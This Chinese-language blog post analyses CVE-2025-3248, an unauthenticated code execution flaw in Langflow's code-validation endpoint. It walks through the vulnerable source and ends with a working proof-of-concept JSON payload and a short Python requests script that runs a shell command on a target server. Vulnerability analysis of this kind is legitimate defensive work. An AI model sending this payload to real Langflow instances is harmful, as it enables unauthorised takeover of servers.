Langflow远程代码执行漏洞(CVE-2025-3248)

admin 2026-01-20 01:06:09 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: CVE-2025-3248是Langflow平台的高危远程代码执行漏洞,影响1.0.0至1.2.9版本。漏洞源于/api/v1/validate/code接口未授权访问且直接执行用户提交的代码字符串进行验证,攻击者可利用精心构造的Payload在服务器端执行任意命令。建议用户尽快升级至安全版本以修复此严重安全风险。 综合评分: 85 文章分类: 漏洞分析,WEB安全,漏洞预警


cover_image

Langflow远程代码执行漏洞(CVE-2025-3248)

原创

奋斗的小浪 奋斗的小浪

船山信安

2026年1月19日 19:47 河北

漏洞说明

CVE-2025-3248是Langflow平台中一个严重程度为高危的远程代码执行(RCE)漏洞。Langflow作为一个开源的AI工作流构建平台,允许用户通过可视化界面创建和管理AI驱动的自动化流程。该漏洞存在于代码验证功能中,攻击者无需任何身份验证即可通过精心构造的恶意请求在服务器上执行任意代码,完全控制系统。

影响版本

Langflow 1.0.0至1.2.9的所有版本

代码结构

根据官方文档写的

1. 根目录

  • 包含 Docker 配置文件、README、许可证、测试文件等项目基础配置。

2. /src/forntend

  • src/:前段源码主目录
  • components:通用 UI 组件,如输入框、聊天组件、加载状态等。
  • CustomNodes:自定义节点组件,定义了节点的显示和交互逻辑。
  • contexts:React Context,用于状态管理,如类型、警告、标签页等。
  • controllers:业务逻辑处理,如节点服务。
  • modals:弹窗组件,如导入导出弹窗。
  • pages:页面级组件,如流程页面。
  • alerts:警告提示相关组件。
  • types:TypeScript 类型定义,规范数据结构。
  • 其他配置文件和工具函数。

3. /src/backend

  • 后端代码,提供 API 支持和业务逻辑处理。

分析

漏洞成因

首先看一个地址langflow-1.2.0/src/backend/base/langflow/api/v1/validate.py文件中的第九行开始

@router.post("/code", status_code=200)
async def post_validate_code(code: Code) -> CodeValidationResponse:
    try:
        errors = validate_code(code.code)
        return CodeValidationResponse(
            imports=errors.get("imports", {}),
            function=errors.get("function", {}),
        )
    except Exception as e:
        logger.opt(exception=True).debug("Error validating code")
        raise HTTPException(status_code=500, detail=str(e)) from e

这里直接就去接收code类型(接收的是用户提交的待验证的代码内容)的参数返回CodeValidationResponse类型,而且到调用validate_code之间并没有任何措施,所以就导致了,任何身份都可以进入

接下来看最终重要的地方也就是漏洞地址validate_code的位置langflow-1.2.0/src/backend/base/langflow/utils/vWalidate.py

def validate_code(code):
    # Initialize the errors dictionary
    errors = {"imports": {"errors": []}, "function": {"errors": []}}

    # Parse the code string into an abstract syntax tree (AST)
    try:
        tree = ast.parse(code)
    except Exception as e:  # noqa: BLE001
        if hasattr(logger, "opt"):
            logger.opt(exception=True).debug("Error parsing code")
        else:
            logger.debug("Error parsing code")
        errors["function"]["errors"].append(str(e))
        return errors

    # Add a dummy type_ignores field to the AST
    add_type_ignores()
    tree.type_ignores = []

    # Evaluate the import statements
    for node in tree.body:
        if isinstance(node, ast.Import):
            for alias in node.names:
                try:
                    importlib.import_module(alias.name)
                except ModuleNotFoundError as e:
                    errors["imports"]["errors"].append(str(e))

    # Evaluate the function definition
    for node in tree.body:
        if isinstance(node, ast.FunctionDef):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; exec(code_obj)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; except Exception as e: &nbsp;# noqa: BLE001
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; logger.opt(exception=True).debug("Error executing function code")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; errors["function"]["errors"].append(str(e))

&nbsp; &nbsp; # Return the errors dictionary
&nbsp; &nbsp; return errors

这里就是漏洞地址了,当然还是要分析一下的

1.初始化错误容器

errors = {"imports": {"errors": []}, "function": {"errors": []}}

imports:如果模块不存在则记录错误;function:如果语法错误、运行异常则记录函数定义/执行时候的错误;

2.使用AST模块解析代码字符串

tree = ast.parse(code)

3.处理导入语句

if isinstance(node, ast.Import):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for alias in node.names:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; importlib.import_module(alias.name)

遍历AST中的Import节点,例如:import os;动态导入模块,失败就会记录到imports.errors;

4.验证函数定义

if isinstance(node, ast.FunctionDef):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; exec(code_obj)

遍历AST中的FunctionDef节点(函数定义),编译并执行函数代码,捕获运行时的异常(如NameError、TypeError),就会记录到function.errors。

5.返回错误结果

返回的errors会被路由包装到CodeValidationResponse。

总结

两个代码分析完之后就是最好玩的了,在post_validate_code中调用了validate_code,并传入了用户提交的代码字符串,返回的errors会被路由包装,最后返回给客户端;一个是路由层面:处理HTTP请求/响应、异常捕获;再一个是验证层:就是解析代码并验证有效性。在这两层里面没有一个代码是去验证身份的(如cookie),所以就导致任何人都可以调用/code接口,根本不用登录或者提供凭据。也就导致了代码执行。

注意:

垃圾pycharm,ctrl+鼠标左键真难用,不如vscode

POC

POST传参 {“code”: “@exec(‘raise Exception(__import__(\”subprocess\”).check_output([\”id\”]))’)\ndef foo():\n pass”}

注意

记得把这个删了要不然不会成功的

脚本

网上一个大哥的脚本

import requests

target = "http://xxx.xxx.xxx.xxx:7860/api/v1/validate/code"

payload = {"code": "@exec('raise Exception(__import__(\"subprocess\").check_output([\"id\"]))')\ndef foo():\n pass"}

response = requests.post(target, json=payload)
print(response.text)


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:船山信安 奋斗的小浪 奋斗的小浪《Langflow远程代码执行漏洞(CVE-2025-3248)》

评论:0   参与:  0